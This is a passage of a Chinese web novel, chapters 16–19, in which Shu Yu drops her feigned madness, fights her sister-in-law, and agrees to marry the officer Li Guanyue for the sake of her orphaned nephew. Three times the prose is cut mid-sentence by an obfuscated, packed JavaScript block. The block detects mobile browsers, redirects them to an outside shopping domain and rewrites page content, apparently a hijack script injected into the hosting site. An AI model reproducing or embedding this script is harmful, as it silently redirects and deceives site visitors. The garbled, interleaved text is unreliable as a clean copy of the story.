过了好一会儿,舒瑜才冷静下来,她慢慢低下头,避开他的视线,声音很低:“对不起,厉同志。”不管怎样,道歉是一定要的。 见她这副样子,是真的被他吓到了,厉关岳缓下神色,收敛起想看舒瑜更加慌乱反应的那点恶劣心态。 他其实并没有生气。 在隐约察觉到舒瑜可能并不是真傻后,他第一感觉并非是被欺瞒的恼怒,反而油然而生了一种奇怪的欣慰感。 厉关岳估计自己是因为经常听舒卫华妹妹长,妹妹短的,潜移默化真把舒瑜当妹妹看了,对她也不会像其对他人那样刻意保持距离。 没人愿意被当成傻子看待,她能想到这个法子保护自己,也是迫不得已,要怪就怪陈志鹏。 这么想着,厉关岳坐直了身体,脸上那点戏谑和压迫感悄然褪去,恢复了惯常的温和神色,声音也放得低缓:“逗你的,没有怪你的意思。” “相反,我觉得你很聪明,知道用这种办法保护自己,你哥哥以前总夸你机灵,看来他没说错。”她年纪轻轻的,还是个不成熟的小丫头,能做到这份上,已经没什么可指摘的了。 舒瑜倏地抬起头,撞进他含着笑的温和眼眸里。 她脸颊的热度还没退下,耳尖又开始发烫,视线也不由自主地飘向一边,一时间有些不好意思看他,却抑制不住心底的骄傲得意。 没错,她就是这么厉害! 再说一次,厉关岳他人真是太好了! 16. 第十六章 舒瑜出了院,两人沿着县城的街道往回走。 派出所用车紧张,医生说舒瑜是受了刺激晕倒的,看情况不严重,许志刚先把车开回去了,留了厉关岳等舒瑜醒来。 天色渐晚,街上人不多。 舒瑜走在厉关岳身侧,她不需要再装傻,与厉关岳一时间相顾无言。 厉关岳侧头看她一眼,问:“有没有什么想买的,顺路带点回去。” 舒瑜连忙摇头,两只手摆得飞快:“不用不用。”她不好意思再让厉关岳破费。 骗了人家还要让他给自己花钱,舒瑜都觉得自己连吃带拿的太过分了。 厉关岳没接话,脚步一转带舒瑜去了供销社。 “买点糖吧。”说着,厉关岳从他的外套内袋里找出了糖票,“医生说你低血糖严重。” 柜台里的售货员脸上带着笑:“同志,你们运气好,今天咱们这有大白兔奶糖,要不?” 厉关岳点点头,把糖票和钱放到柜台上:“来半斤。” 售货员愣了一下,笑了:“哟,同志,半斤可不行,这大白兔可是紧俏货,一个人最多只卖四两。” “那就四两。” “成!” 售货员手脚麻利地称了糖,用一张牛皮纸包好,扎上纸绳,递过来。 厉关岳接过,转身放到舒瑜手里。 “谢谢厉叔……啊不不、不是。”舒瑜脱口而出,说到一半连忙止住,“谢谢厉同志。” 舒瑜拍拍自己脑袋,像是在懊恼。 厉关岳垂眼看她,那目光里带着让人捉摸不透的浅笑。 他慢悠悠地开口:“叫‘厉叔叔’也可以,就怕你哥不答应。” 这“哥”指的是舒卫华。 舒瑜脸一热,下意识想辩解,却被他眼底那点戏谑堵得说不出话。 这人,真是…… 她算是看出来了,这厉关岳是有点腹黑在身上的,在人前倒是装得一副温和可靠。 厉关岳没再逗她:“走吧。” 舒瑜拎着糖,跟在他身后,心里暗自腹诽,不知不觉间,方才的尴尬和拘谨慢慢消失。 回到派出所,许志刚正在办公室整理材料。 见他们进来,他站起身,脸上带着办完事的松快:“回来了,正好跟你们说一声,陈志鹏已经正式拘留了,相关手续都办妥了。” “这案子证据链完整,他本人也招了,跑不掉的。”他顿了顿,看向舒瑜,“舒同志,你放心,按他犯的事来看,估计……”许志刚暗示陈志鹏大概率会被判死刑。 舒瑜用力点了点头:“谢谢,谢谢公安同志。” 厉关岳伸出手,跟许志刚握了握:“谢了,老许,改天请你吃饭。” 许志刚笑着捶了一下他的肩膀:“咱俩客气啥,赶紧回去吧,天不早了。” 厉关岳笑笑,带着舒瑜跟许志刚告辞。 回到村里,天边已经染上了橘红色,两人直接去了陈兰花家接舒明淮。 舒明淮正坐在院子里的小板凳上,手里捧着一本连环画,眼睛却一直往门口瞄,一见他们的身影出现在院门口,他腾地站起来,脸上瞬间绽开一个大大的笑,原地蹦了一下:“小姑,厉叔叔!” 他几步跑过来,亮晶晶的眼睛望着他们,他看看舒瑜,又看看厉关岳,高兴得不知道该说什么好。 舒瑜弯下腰,朝他伸出手:“走吧,明淮,跟陈婶说再见。” 舒明淮却没立刻动,他愣住,目光从舒瑜身上转向站在她身后神色平静的厉关岳,脸上写满了困惑,还隐约可见一丝无措与害怕。 陈兰花正在一旁择菜,她闻言瞪大眼睛,上上下下打量着舒瑜,嘴巴张得老大:“丫头,你、你这是好了?” 她怎么也想不明白:“不是,这才一会的功夫,你们这、这……” 舒瑜直起身,面对着陈兰花惊愕的脸,心里有些过意不去。 她简单说了原由,末了,认认真真地说道:“陈婶,我之前骗了你们,真是对不住。” 陈兰花听完,愣了好一会儿,才慢慢回过神来,她弄清楚来龙去脉,哪里还会怪舒瑜。 想到陈志鹏那个不是人的东西竟然害了他们大队的许大山,还要对舒瑜下手,她心里又是气愤又是心疼,眼睛都气红了。 “这有啥对不住的!”她一把拉上舒瑜的手,激动道,“你这孩子,也是被那姓陈的害的!可怜大山他娘疯成那样,都是那畜牲作的孽!” “你没事就好,没事就好!” 舒瑜被她握着手,心里暖烘烘的,弯着眼睛道:“那婶子,我们就先带明淮回去了。” “成,成!”陈兰花松开手,“这天晚了,小厉也不方便,晚上就在婶子家住。”她对厉关岳这个沉稳可靠,人善良脾气又好的年轻人很有好感。 厉关岳感谢道:“那就再麻烦陈婶一晚了。” “我先送他们回去。” 陈兰花站在门口,目送他们走远,脸上满是感慨。 等三人的身影消失在巷子尽头,陈兰花回去继续择菜,想着明天她可得好好跟她那帮老姐妹唠唠这事。 回去的路上,舒明淮紧紧拉着舒瑜的手,低着头什么话也没说。 他们大人的话他听得半懂不懂,但他隐约明白,他小姑的病好了,人不傻了。 那个需要他牵着引路、需要他每天早上梳头发的小姑,好像没有了。 她好像不再需要他了。 他应该高兴的,他知道自己应该特别特别高兴才对,小姑好了,以后不会再被人骂傻子,不会再被人欺负。 可不知道为什么,他心里有些害怕。 万一小姑和大伯娘他们一样,嫌他是个累赘,不要他了,那他该怎么办。 舒瑜发现了舒明淮的沉默,她停下脚步,连着舒明淮和厉关岳也跟着她一齐停住。 舒瑜在舒明淮面前慢慢蹲了下来,两只手轻轻搭在他瘦小的肩膀上,目光平视着他。 “明淮,小姑要先跟你道谢。”舒瑜低声缓缓道,语气里是满满的真诚,她感谢舒明淮一直陪在她身边,给了她太多帮助、温暖和慰藉。 “因为有你,小姑才有更多的力气去打败坏人。” 舒明淮愣住,他张了张嘴,不知道该说什么。 “还有,”舒瑜顿了一下,眼眶有些发酸,“小姑也要跟你道歉,明明我才是大人,却一直受你照顾。” “对不起。”她伸出手,把他拥进怀里,紧紧抱住他单薄的身体。 舒明淮感觉到小姑的怀抱很暖,他不知道那股从心底涌上来的酸涩是什么,只觉得眼眶热热的。 过了好一会儿,他才小声地说,声音闷闷的:“没关系,我喜欢照顾小姑。” 舒瑜的眼泪瞬间落了下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173741|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她靠在舒明淮小小的肩膀上,眼泪止不住,一滴一滴落下。 不是的,不是这样的。 她在心里无声地说:这不是你的责任,小孩只需要好好长大就够了。 厉关岳笔直地站在一旁,目光深沉,眉目真切地温柔了一瞬。 第二天一早,舒瑜是被院子外头激烈的吵闹声惊醒的。 她睁开眼,外面天已大亮,外头的声音一阵高过一阵,夹杂着女人的哭喊和尖利的叫骂,她飞快穿好衣服,推门出去。 院子里已经站了几个人。 一个眉眼和陈丽云有几分相像的女人正情绪激动地挥舞着手臂,嘴里嚷着什么,陈丽云站在她对面,脸色先是不可置信地白了一瞬,随即被消息刺激得脸色扭曲。 “舒瑜!”她猛地回过头,尖利的声音里带着咬牙切齿的恨意,直直刺向刚走出房门的舒瑜。 隔壁院墙边,何秀兰听见动静已经探出半个身子,眼睛亮得很,一副等着看好戏的模样。 陈丽云几步冲过来:“你这个疯子,你到底做了什么!” “就是她害得咱们志鹏被抓的!”那个女人眼眶通红,“今早公安上家里来了,我们才知道志鹏因为她被抓了,爹他们已经赶去县里了。” 她一说,舒瑜就明白了,陈家人这是刚知道消息,来兴师问罪了。 陈丽云听完,理智彻底丧尸,扬起手就要朝舒瑜脸上扇去。 舒瑜早有防备,她知道自己硬拼力气比不过她,在陈丽云巴掌落下来之前,猛地矮下身子,双手用力往她肚子上一推。 陈丽云猝不及防,整个人失去平衡,重重摔在地上。 舒瑜站起身,居高临下地看着瘫坐在地上,还没反应过来的陈丽云,一字一句清清楚楚地说:“你弟弟杀了许大山,打伤我,害我变傻,我还没找你们算账,你倒先找上我了。” “你好了?”陈丽云闻言先是不可置信的疑惑,脸上的狰狞凝固成一片空白,她艰难地消化着舒瑜话里的意思,好半天才找回自己的声音,却抖得厉害,“你说什么?什么杀了许大山?” 她猛地扭头看向自己二妹,二妹脸色也是青白交错,她显然只说了小弟因推人下水被抓,根本没提他手上还犯着人命官司。 陈青云向后一缩,扭开脸,没看陈丽云,也没上前去扶她,要她说,小弟出事也有大姐的一份,怎么没用的连个小丫头都搞不懂。 何秀兰在一旁看着,忍不住“噗嗤”笑出声,阴阳怪气地开了腔:“哎呦喂,原来是你弟弟害了舒瑜啊,还害得爹受刺激走了。” “陈丽云,你可真好意思拿爹留给舒瑜钱。” 陈丽云脸色涨成猪肝色,眼睛里泛起红血丝,嘴唇哆嗦着,最后却把满腔怒火和惊惧一股脑全砸向舒瑜:“都是你这个扫把星!” “你怎么不直接去死!” “马上滚出我家!” 她的尖叫声把舒卫国从堂屋里引了出来,舒卫国披着外衣,一脸莫名地看着院子里的混乱。 何秀兰眼疾嘴快,三言两语把事情经过告诉了他,舒卫国的脸色变了又变,看看瘫坐在地上的自家婆娘,又看看一脸冷模的舒瑜,眼神复杂,他沉默几秒,最后只道:“行了,别吵了,马上得上工了。” 他的意思是就当这是没发生,反正陈志鹏又和他没多大干系,舒瑜傻不傻的,反正就这样吧。 17. 第十七章 陈丽云听出舒卫国话里的意思,从地上一跃而起,冲着舒卫国吼:“舒卫国,你要让这个扫把星留在家里,咱俩就离婚!” 舒卫国沉默了。 陈丽云见他这副样子,更来劲了,指着舒瑜的鼻子骂:“带上那个小杂种一起滚出去!” 舒瑜冷笑一声:“你一个姓陈的,骂我们舒家的孩子是杂种?”她顿了顿,“那你生的,不也是杂种?” “你们都胡说什么!”舒卫国终于忍不住吼了一声,可谁也没理他。 陈丽云气得直接朝舒瑜扑了过去。 舒瑜这次没躲,迎上去就是一巴掌,结结实实扇在陈丽云脸上。 “啪”的一声脆响,院子里所有人都愣住了。 嘶,好痛! 力的作用是相互的,舒瑜手掌一阵发麻,她忍住痛,面上还是冷冷地甩去一个不屑的眼神。 她忍陈丽云够久的了,还有她那个大哥舒卫国,两个人都不是什么好东西,吞了明淮的抚恤金还把人养得瘦瘦小小一个。 陈丽云捂住脸不可置信地看着舒瑜。 两个女人瞬间扭打在一起。 陈丽云只会拧她手臂肚子上的肉,有些疼但伤害姓不大,舒瑜以前学过一些防身术,她施着巧劲,专挑最痛的地方下手,倒不输陈丽云。 可陈丽云到底力气大,一把薅住舒瑜没来得及梳起来的头发,舒瑜咬牙忍着痛,抬手又扇了陈丽云两巴掌,然后飞快拧开陈丽云的手。 这一切发生得太快,舒卫国、何秀兰后面被叫出来的舒卫民都看傻了眼,竟忘了上去拉架。 就在这时,舒明淮从屋里冲了出来,他看见小姑被陈丽云扯着头发打,想也没想就冲上去,死死抱住陈丽云的腿往后拖。 “放开我小姑!” 陈丽云正打得眼红,感觉腿被抱住,低头看见是舒明淮,一脚就踹了过去,把舒明淮踢开。 舒瑜脑子里“轰”的一声,她不知哪来的力气,一把将陈丽云掀翻,骑在了她身上。 舒卫国想上去拉开舒瑜,却被一旁的舒卫民拦住了:“哥,女人打架,你掺和啥!” 陈青云见此,犹豫一下,还是偷偷溜走了,大姐家的事,她可不想擦手,她还得去县城找爹娘他们呢。 舒明淮忍着疼从地上爬起来,眼眶泛红,却咬着牙没哭。 他忍着泪向外跑去,大伯娘欺负小姑,他要去找厉叔叔。 舒明淮一路跑得飞快,冲进徐书记家,厉关岳正在院子里和徐石伟说话,他上气不接下气,话都说不利索:“厉、厉叔叔,小姑……大伯娘打她!” 厉关岳脸色一变,话没听完人已经大步跨出院门,舒明淮和徐书记在后面追,可他腿长步子大,转眼就把人甩开一截。 可他快走到舒家门口,脚步却不由自主地停顿了一下。 院子里,舒瑜披散着乱糟糟的头发,整个人骑在陈丽云身上,一只手揪着她领口,陈丽云躺在地上里,两只胳膊胡乱挥着,和舒瑜扭打在一起。 厉关岳犹豫一瞬,脚步慢了下来,他调整了一下呼吸,才不紧不慢走进院子。 舒瑜打累了,喘着气从陈丽云身上爬起来,她低头看了一眼倒在地上面容狼狈的陈丽云,心里的恶气总算出了大半。 可她起身起到一半,脚还没站稳,陈丽云忽然伸手猛地一推。 舒瑜踉跄着往后退,脚下被陈丽云的腿一绊,整个人失去平衡往后仰。 眼看就要摔倒,舒瑜眼睛一闭,后背却撞上了一堵结实的墙。 她抹了一把糊在脸上的乱发,扭头往上看,正对上厉关岳垂下来的眼睛,他就笔直地站在她身后,一只手牢牢抓住她的上臂,稳住了她。 “厉同志?”舒瑜傻眼。 这人什么时候来的? 厉关岳低头看着她,目光顺着她凌乱的头发,扫到她脸上不知何时蹭上的灰,最后落在那双明亮的眼睛上。 “没事吧?” 舒瑜张了张嘴,想说“没事”,这架她可是打赢了,可话到嘴边,她眼珠一转,立刻换上一副委屈模样,声音也软下来:“她打得我好痛,我今天一早起来,她就来打我。” “吓死我了。” 陈丽云总算被舒卫国从地上拉起来,闻言狠狠瞪着舒瑜,那眼神凶狠得恨不得把她吃了。 这时,徐书记带着舒明淮赶到,舒明淮几步跑到舒瑜身边,紧紧抓住她的手,仰头看她有没有受伤。 徐石伟板着脸,目光扫过陈丽云和舒瑜,沉声问:“怎么回事,大清早的,打什么架?” 何秀兰站在自家院墙边,憋了半天终于有机会开口,语气里是压不住的幸灾乐祸:“徐叔,是这么回事——” 她正要添油加醋说一遍,被一旁的舒卫民偷偷扯了一下袖子,何秀兰瞪他一眼,到底把那些多余的话咽了回去,只把事情经过说了个大概。 舒瑜听完,补充道:“徐叔,她说陈志鹏被抓是我害的,还让我带着明淮滚出这个家。”她顿了一下,把“杂种”那两个字咽了回去。 明淮在边上,她不想让他听见。 徐石伟脸色一黑,转向陈丽云:“陈志鹏被抓,是因为他是杀人犯,他杀了许大山,害了舒瑜,这事跟舒瑜有什么关系?” 陈丽云脸色惨白,她引以为傲的弟弟,就这么被扣上了杀人犯的帽子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178620|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她闭了闭眼,再睁开时,眼底只剩下一片冷意,她低低笑了两声,声音干涩:“行,我认了。” “但这是我家,让不让舒瑜住,是我们的家事,这事你们管不着吧?” 徐石伟表情没变,转向舒卫国:“卫国,你说呢,你也要把你妹妹赶出去?” 舒卫国张了张嘴,看看自家婆娘那副铁了心的模样,又看看徐叔沉得能滴水的脸。 他当然不想和陈丽云离婚,他们有两个孩子,而且退婚了再娶,也要花钱费力的,可要在徐叔面前说这种话,他也没这个脸。 把未婚的妹妹赶出家,这要传出去,别人该怎么说他啊? 陈丽云心里当然清楚舒卫国的心思,知道他一定不会和自己离婚,她转向舒瑜,眼神里满是怨毒,一字一句咬着牙说:“你没被淹死,可真可惜了。” “赶紧给我滚!” 舒瑜站在原地,听着这话,只觉得一阵讽刺和好笑。 这是她从小长大的地方,是她的家。 可现在,她站在自己家的院子里,被人指着鼻子往外赶。 她好像确实听到有人笑了一声。 但那笑声不是她的,那声音里充斥着冷意。 厉关岳目光落在陈丽云脸上:“昨天舒瑜去河边的事,你知道吗?” 陈丽云没说话,心里有一种不好的预感。 舒瑜回答:“我和她说过的。” 厉关岳说:“你明明知道舒瑜脑子不清楚,她要去河边,你为什么不拦着,也不跟着?” 陈丽云皱眉,不知道厉关岳是什么意思,她管舒瑜干嘛。 “我有理由怀疑,舒瑜被推下河是你和陈志鹏商量好的共同作案。” “你、你说什么?”陈丽云瞳孔微缩,声音都在抖。 舒瑜心里一动,立刻接话:“对啊,昨天陈志鹏还来找你了,我看见你们一直在说话。” “我没有!”陈丽云大声道。 陈丽云被厉关岳几句话问得心跳剧烈跳动,嘴唇哆嗦着想解释,却一个字也挤不出来,她眼睛里的怨毒渐渐被惊恐取代。 厉关岳欣赏了一番她那副惊恐交加,想解释又解释不清的狼狈模样,才不紧不慢道:“去派出所解决吧。” 舒瑜站在一旁,仰着头看着身侧三言两语就把陈丽云逼到死角的厉关岳,眼睛一点点亮了起来。 舒瑜心道:“大佬,不愧是你,太厉害了。” 察觉到某人的视线,他微微侧头,正对上舒瑜那双湿漉漉的,写满崇敬的眼睛。 直白又纯粹,像只小狗在看给它肉骨头的好人。 厉关岳慢慢移开眼睛。 18. 第十八章 “派出所?”舒卫国瞳孔一缩,他们庄稼人哪里去过那种地方啊! 他脸上闪过一丝慌乱,连忙转向徐石伟,语气里带着讨好和求助:“徐叔,您看这、这都是咱家里的事,怎么就要去派出所了呢?” 陈丽云虽然性子要强,这时候也白了脸,只是任旧不肯低头,梗着脖子站在那儿。 徐石伟恨铁不成钢地瞪了舒卫国一眼:“你现在知道怕了?” 舒卫国讪讪地低下头,不敢接话。 院子里一时安静下来。 舒瑜拉过舒明淮,在他身前蹲下:“明淮,她踢到你哪里了,身上疼吗?” 舒明淮摇摇头:“不疼了,小姑,你呢?” 舒瑜笑笑:“我也不疼。”说完,她叹气,心里思索着之后改怎么办。 闹到这份上,都被人指着鼻子往外赶了,她怎么可能还若无其事地待下去? 舒瑜心里肯定是有不甘心的,可这房子,在爹走后,确实归了舒卫国。 她没钱没工作的。 舒瑜起身,低着头,面上不免显露出几分忧愁。 还有明淮怎么办,大佬他一直没提要收养明淮的事,难道是知道她好了,打消主意了? 她垂着眼睛,抿着唇,小小的脸上一片黯然。 厉关岳随意瞥了眼那边围着说话的舒卫国他们,便双手环抱胸前,事不关己地侧过头。 方才他故意不去看她,可这会儿半天没听到舒瑜的动静,余光忍不住往旁边扫了一眼。 就看见舒瑜垂着脑袋,眉头紧皱着,一副失落难过的模样。 厉关岳莫名幻视一只可怜兮兮的小狗被人欺负后,委屈巴巴地缩着尾巴站在那儿,一动不敢动。 厉关岳思索片刻,开口:“舒瑜,我们谈谈。” 舒瑜一愣,疑惑地抬头看他,随即提起了精神。 厉关岳是不是要提出带走明淮了? 舒瑜心里开始期待起来。 厉关岳与她对上视线,只见那双眸里如同散落了星星一般蓦得闪亮起。 虽然厉关岳不知道为什么自己只叫了她一声,她就又突然高兴起来。 但他看着,心情也好了几分。 厉关岳带着舒瑜姑侄走到院门外,在墙根底下站定,他没看她,像是在思量怎么开口,动作不紧不慢的,倒把一旁的舒瑜急得不行。 舒瑜仰着脑袋,眼睛死死盯着他的嘴唇。 说呀,快说呀,是不是要说明淮的事? 她心里急得跟有猫在抓似的,视线就黏在他唇上,一动不动。 盯着盯着,她忽然有些走神。 说来也怪,她只在第一次见厉关岳时扫视了几眼他的样子,后面每次见厉关岳都因着心虚,竟从来没有好好打量过他的五官。 这时候站得近,她才后知后觉地发现,这人长得是真的好看。 尤其是那嘴唇,薄薄的,线条分明,嘴角天然略微上扬,无论何时都含着三分笑意。 可那笑意又常常不达眼底,让人猜不透他在想什么。 此刻他微微抿着唇,像是在斟酌什么,那唇线便绷得紧了些,反倒添了几分严肃。 舒瑜正盯得出神,厉关岳启唇,她下意识跟着微张嘴巴。 只见厉关岳喉结上下一动,声音低沉,尾音托着一丝沙哑:“你要不要跟我走。” “好——”舒瑜那个“啊”字还没出口,反应过来后猛地一滞。 她怀疑自己听错了。 什么走?她走? 不是明淮吗? 舒瑜眨眨眼,伸手指了指自己,声音飘忽不定:“啊,我、我吗?” 厉关岳看着她这副傻愣愣的样子,轻咳一声,语气难得有些磕巴:“我们结婚,这样,可以一起照顾明淮。”他也不想自己离开后让别人欺负了他们去。 舒瑜彻底懵了。 结婚? 她张着嘴,脑子彻底罢工,转不动了。 厉关岳侧过脸,望向远处田野的方向,淡淡道:“我三十二了,以前一直没打算结婚,但组织和家里都在催。”他顿了顿,“前两天我也想过收养明淮,可我在部队里,难免照顾不周,只能把他送到我父母那边。” “可明淮还小,把他送去一个陌生地方,怕是不好。” 他深吸一口气,视线重新落在舒瑜脸上:“我们结婚以后,明淮可以跟着你。” “我知道,你舍不得明淮,明淮也离不开你。” 舒瑜慢慢回过神来,心里开始盘算起来。 厉关岳见她没说话,又补了一句:“我们虽然没有感情,但一起过日子,我绝对不会亏待你们。” 厉关岳想了想,觉得这话可能还不够,又放缓了声音,一字一字说得很清楚:“我没有谈过感情,但我会尽到一个丈夫的责任。” “责任。”舒瑜咀嚼着这个词,紧巴的心放松了几分,这话她是相信的。 这些话,厉关岳也是考虑了好久才说出来的。 和舒瑜结婚的念头只是一闪而过,但他仔细一想,却发现这样对每个人都好。 他告诉自己,虽然他们没有夫妻的感情,但舒瑜是卫华的妹妹,就是他的妹妹。 厉关岳张口,原是要把这话告诉舒瑜,提起舒卫华也好让她对他更有信心,可不知怎的,这句话噎在了喉咙里,他停顿了一下,还是说出了口。 舒瑜的思绪还沉浸在厉关岳方才的话里,下一秒冷不丁就听到了这话。 舒瑜嘴角一抽:妹你个头。 “无论从那个角度,我都有责任照顾好你们。” 这说法倒是还行。 舒瑜轻笑,因为她好像发现了什么不得了的事:厉关岳害羞了。 舒瑜偷瞄一眼身前高大男人的耳尖,就看到红彤彤的一片,她低下头,嘴角忍不住弯了弯。 良久,舒瑜直直望入他的眼睛,眼睛弯成两道月牙,笑意从里面溢出来。 舒瑜粲然一笑:“好。”她说,声音轻快,“我们结婚。” 舒明淮一直靠在舒瑜腿边,安安静静的,耳朵却竖得老高,他听懂了厉叔叔要和小姑结婚了,小姑和他也不用分开。 纵使平日里再懂事,到底也还是个七岁孩子,舒明淮再忍不住喜悦,捂着嘴偷偷笑起来,笑得肩膀一抖一抖的,又不敢出声,怕被大人发现。 厉关岳低头看了他一眼,又看向舒瑜,眼中也带上了一丝笑意:“我今天就向组织打报告。” 舒瑜点点头:“好。” 话说完,她长长地舒了一口气,有了出路,她心里总算轻松了下来。 可不过片刻,她忽然想起一件事:“三哥的抚恤金还在舒卫国他们手上。” 她直呼“舒卫国”三个字,语气里没有半分对兄长的亲昵和敬重,那些人早就不是她的家人了。 “那是三哥给明淮留下的保障,不能便宜了他们。”舒瑜说,“我要帮明淮拿回来。” “好。”提起抚恤金,厉关岳显然也不想自己好兄弟用命留下的东西被别人拿走。 他思索一番,勾起唇角:“我有办法,交给我?” 舒瑜仰头,笑眯眯地夸他:“我知道你厉害啦,不过,我也不是吃素的!” 闻言,厉关岳眉心一挑,凝视了舒瑜几秒,压下眼底的笑意:“走吧。” 明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184399|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明只是几句寻常对话,可话里话外,倒有几分自然和亲近。 三人回到院内,徐石伟正和舒卫国他们说着什么,见他们进来,连忙迎上前几步。 “厉同志,我和他们说好了,”徐石伟指了指身后舒卫国两口子,话里带着几分息事宁人的意思,“让卫国家的给舒瑜道个歉,这事就算过去了,舒瑜还住家里,往后谁也不许再提赶人的事。” “你们看成吗?” 说着,徐石伟叹了口气,不是他偏帮舒卫国,实在是这事再闹到派出所去,他们大队的名声…… 唉。 “当然,这事确实是卫国他们过分了。”徐石伟又补了一句,“还有舒瑜落水那事,要是你们觉得有必要去派出所分辨清楚,也成,我不拦着。” 厉关岳听完,神色未变,只是微微颔首:“道歉当然需要。” 他停顿一下,目光扫过院子里神色各异的众人,接着道:“至于舒瑜住哪儿——” “我和舒瑜决定登记结婚,她和明淮,都跟我走。” 一语惊人。 所有人都傻眼了,不可置信地瞪大眼睛。 徐石伟最先反应过来,他仔细打量了厉关岳几眼,又看看舒瑜,心里飞快一转。 还真别说,仔细一想,这倒真是个好出路。 他脸上浮起笑意,带着几分真心的高兴:“好事啊,这可是大好事!” “咱舒瑜以后也算是有了依靠。”他上前一拍了拍厉关岳的胳膊,“厉同志,我看得出来,你是个不错的人,舒瑜和明淮交给你,咱们放心。” 徐石伟高兴之余忽然想起什么:“对了,叔这儿还有你爹留给你的一笔钱,这回正好,就当是你的嫁妆,叔给你拿去!” 舒瑜先是惊讶,随后一阵感伤。 她爹真的…… 厉关岳见状,替她开口道谢:“谢谢徐叔。”他顺着舒瑜的叫法,不再客气地称“徐书记”。 “至于你们,”厉关岳终于给了舒卫国两口子一个眼神,他淡声道,“不去派出所也行。” 他这么说是因为,根据陈丽云那时候的反应,她大概率是对陈志鹏的计划不知情的。 这点舒瑜也知道,她是讨厌陈丽云,但也没打算污蔑她进去。 “但有个条件,卫华的抚恤金,必须全部交还。” “什么!”陈丽云立马反对,“不行!” “我们养了这个小崽子这么久,又不是白养的,吃的喝的哪样不要钱?” 舒瑜面无表情地注视着她,陈丽云的声音渐渐低了下去。 “你倒是把自己的两个孩子养得白白胖胖的。”舒瑜嘲讽,“可明淮呢?” “七岁的孩子,身量跟五岁差不多,你可真好意思说这话。” 舒瑜不想再跟他们耗下去了,她上前一步,直视着陈丽云:“你不给,我就去革委会举报你们。” “举报你们虐待、辱骂烈士遗孤。” 舒卫国怒道:“舒瑜,你眼里还有我这个哥哥吗?” 舒瑜转向他,神色冷得让他下意识后退了半步。 “你配吗?”她一字一句,冷声问道,“你们俩,有把我当妹妹吗?” 舒卫国说不出话,舒卫民站在一旁,沉默地扭开了头。 舒瑜:“我只认三哥。” “别废话了,把钱拿出来,你们知道的,逼急了我,我什么事都做得出来。” 沉默一会,陈丽云深吸一口气,咬牙道:“好,我给!” 她确实怕了。 怕这个疯子真的跑去革委会。 那些话,骂的时候痛快,现在想起来,却让她心底发寒。 19. 第十九章 舒瑜原以为军婚的程序复杂,怎么也得十来天才能办下来,没想到不过短短三天,厉关岳就告诉她手续齐全,带她去县里登了记。 出来后,三个人沿着街道慢慢走,路过一家照相馆时,舒瑜下意识多看了两眼。 那橱窗里摆着几张黑白照片,有全家福,也有各种单人照,看着挺不错的。 厉关岳顺着她的视线看过去,主动道:“我们拍几张照片吧。” 舒瑜捋了一下自己鬓角的碎发,到底是结婚的日子,她今天特意早起整理打扮了一番。 头发被细细梳顺,编成两条饱满的麻花辫,松松地垂在耳侧,衬得那张脸愈发小巧精致,发尾系着两根发绳,一红一蓝,是厉关岳上回在供销社买的,颜色不一样,却显得活泼,随着她走动轻轻晃着。 脸上虽说略显瘦削,下巴尖尖的,可皮肤光洁白皙,透着淡淡的粉,额前几缕碎发被风一吹,轻轻扫过眉眼。 她脸上含着笑意,带着几分不自知的娇俏,瘦虽瘦了些,却掩不住那骨子里透出来的灵动。 舒瑜对自己的造型非常满意,便欣然同意:好啊。” 舒明淮眼睛里满是好奇,他从没拍过照片,连照相机是什么样都不知道。 三人推门进去。 照相馆不大,收拾得干净整洁,墙上挂着背景布,一位戴着老花镜的老师傅正在摆弄相机,见有人进来,抬起眼,习惯性地上下打量他们一圈。 “两位拍结婚照?” 舒瑜:“拍全家福。” 老师傅愣了一下,低声嘀咕了句什么。 他在这行干了快三十年,看人最准,眼前这对年轻男女,虽说站得不近,也没什么眼神交流,可周身那股子气氛,分明就是新婚夫妻。 他老张的眼睛,可从没看错过。 “来,明淮。”舒瑜招呼舒明淮,又对老师傅道,“我们三个拍张合照。” 舒明淮高兴之余有些害羞:“小姑,我也拍吗?” 舒瑜笑着摸摸舒明淮的脑袋:“当然了,咱们家可少不了你。” 舒明淮又扭头看看厉关岳,厉关岳也笑着点了下头,表示赞同。 张师傅见状,不再多问,招呼他们在背景布前坐好,舒瑜在正中间,两边是厉关岳和舒明淮。 张师傅看着相机里的画面,这俩男的一大一小,倒是都挺关注中间的小姑娘,两人的身体都很自然地朝中间微侧。 “挺不错的。”张师傅满意了。 拍完全家福,舒瑜和舒明淮又拍了张合照,他们每个人还各自单独照了一张。 厉关岳道:“再拍张结婚照吧?”他询问舒瑜。 “我听说现在结婚的人都拍这个。” 他这意思是,别人有的,他们也不会少。 